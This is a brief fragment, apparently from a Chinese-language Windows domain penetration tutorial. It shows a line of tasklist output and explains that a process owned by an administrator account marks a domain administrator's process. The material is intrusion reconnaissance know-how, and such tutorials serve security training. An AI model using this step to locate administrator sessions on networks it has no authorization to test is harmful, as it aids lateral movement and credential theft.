tasklist.exe 10768 Console 2 9,540 K Unknown TEAMSSIX\daniel10 0:00:00 暂缺
……内容过多省略……
如果在列出的进程中看到了用户名为管理员用户名的话,便是找到了域管理员进程。
参考链接: